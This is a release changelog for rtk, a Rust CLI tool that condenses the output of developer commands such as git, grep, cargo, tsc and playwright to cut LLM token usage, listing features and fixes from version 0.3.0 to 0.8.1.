- grep: add extra args passthrough (-i, -A/-B/-C, etc.) (a240d1a)
- pnpm: add fallback passthrough for unsupported subcommands (614ff5c)
- read: add stdin support via "-" path (060c38b)
- rtk tree + fix rtk ls + full audit (phase 1-2-3) (cb83da1)
- docs: escape HTML tags in rustdoc comments (b13d92c)
- find: rewrite with ignore crate + fix json stdin + benchmark pipeline (fcc1462)
- ls: compact output (-72% tokens) + fix discover panic (ea7cdb7)
0.8.1 (2026-02-02)
0.8.0 (2026-02-02)
- add comprehensive security review workflow for PRs (1ca6e81)
- add comprehensive security review workflow for PRs (66101eb)
0.7.1 (2026-02-02)
- execution time tracking: Add command execution time metrics to
rtk gainanalytics- Total execution time and average time per command displayed in summary
- Time column in "By Command" breakdown showing average execution duration
- Daily breakdown (
--daily) includes time metrics per day - JSON export includes
total_time_msandavg_time_msfields - CSV export includes execution time columns
- Backward compatible: historical data shows 0ms (pre-tracking)
- Negligible overhead: <0.1ms per command
- New SQLite column:
exec_time_msin commands table
- parser infrastructure: Three-tier fallback system for robust output parsing
- Tier 1: Full JSON parsing with complete structured data
- Tier 2: Degraded parsing with regex fallback and warnings
- Tier 3: Passthrough with truncated raw output and error markers
- Guarantees RTK never returns false data silently
- migrate commands to OutputParser: vitest, playwright, pnpm now use robust parsing
- JSON parsing with safe fallbacks for all modern JS tooling
- Improved error handling and debugging visibility
- local LLM analysis: Add economics analysis and comprehensive test scripts
scripts/rtk-economics.shfor token savings ROI analysisscripts/test-all.shwith 69 assertions covering all commandsscripts/test-aristote.shfor T3 Stack project validation
- convert rtk ls from reimplementation to native proxy for better reliability
- trigger release build after release-please creates tag
- add execution time tracking test guide (TEST_EXEC_TIME.md)
- comprehensive parser infrastructure documentation (src/parser/README.md)
0.7.0 (2026-02-01)
- add discover command, auto-rewrite hook, and git show support (ff1c759)
- discover command, auto-rewrite hook, git show (c9c64cf)
- forward args in rtk git push/pull to support -u, remote, branch (4bb0130)
0.6.0 (2026-02-01)
- cargo build/test/clippy with compact output (bfd5646)
- curl with auto-JSON detection (314accb)
- gh pr create/merge/diff/comment/edit + gh api (517a93d)
- git branch, fetch, stash, worktree commands (bc31da8)
- npm/npx routing, pnpm build/typecheck, --skip-env flag (49b3cf2)
- shared infrastructure for new commands (6c60888)
- shared infrastructure for new commands (9dbc117)
0.5.2 (2026-01-30)
- release pipeline trigger and version-agnostic package URLs (108d0b5)
- release pipeline trigger and version-agnostic package URLs (264539c)
0.5.1 (2026-01-30)
- 3 issues (latest tag, ccusage fallback, versioning) (d773ec3)
- patrick's 3 issues (latest tag, ccusage fallback, versioning) (9e322e2)
0.5.0 (2026-01-30)
- add comprehensive claude code economics analysis (ec1cf9a)
- comprehensive economics analysis and code quality improvements (8e72e7a)
- comprehensive code quality improvements (5b840cc)
- optimize HashMap merge and add safety checks (3b847f8)
0.4.0 (2026-01-30)
- add comprehensive temporal audit system for token savings analytics (76703ca)
- Comprehensive Temporal Audit System for Token Savings Analytics (862047e)
0.3.1 (2026-01-29)
- improve command robustness and flag support (c2cd691)
- improve command robustness and flag support (d7d8c65)
0.3.0 (2026-01-29)
- add --quota flag to rtk gain with tier-based analysis (26b314d)
- add CI/CD automation (release management and automated metrics) (22c3017)
- add GitHub CLI integration (depends on #9) (341c485)
- add GitHub CLI integration with token optimizations (0f7418e)
- add modern JavaScript tooling support (b82fa85)
- add modern JavaScript tooling support (lint, tsc, next, prettier, playwright, prisma) (88c0174)
- add Modern JS Stack commands to benchmark script (b868987)
- add quota analysis with multi-tier support (64c0b03)
- add shared utils module for JS stack commands (0fc06f9)
- CI/CD automation (versioning, benchmarks, README auto-update) (b8bbfb8)
- ci: correct rust-toolchain action name (9526471)
prettiercommand for format checking with package manager auto-detection (pnpm/yarn/npx)- Shows only files needing formatting (~70% token reduction)
- Exit code preservation for CI/CD compatibility
playwrightcommand for E2E test output filtering (~94% token reduction)- Shows only test failures and slow tests
- Summary with pass/fail counts and timing
lintcommand with ESLint/Biome support and pnpm detection- Groups violations by rule and file (~84% token reduction)
- Shows top violators for quick navigation
tsccommand for TypeScript compiler output filtering- Groups errors by file and error code (~83% token reduction)
- Shows top 10 affected files
nextcommand for Next.js build/dev output filtering (87% token reduction)- Extracts route count and bundle sizes
- Highlights warnings and oversized bundles
prismacommand for Prisma CLI output filtering- Removes ASCII art and verbose logs (~88% token reduction)
- Supports generate, migrate (dev/status/deploy), and db push
utilsmodule with common utilities (truncate, strip_ansi, execute_command)- Shared functionality for consistent output formatting
- ANSI escape code stripping for clean parsing
- Refactored duplicated code patterns into
utils.rsmodule - Improved package manager detection across all modern JS commands
See upstream: https://github.com/pszymkowiak/rtk
- Repository: https://github.com/rtk-ai/rtk (maintained by pszymkowiak)
- Issues: https://github.com/rtk-ai/rtk/issues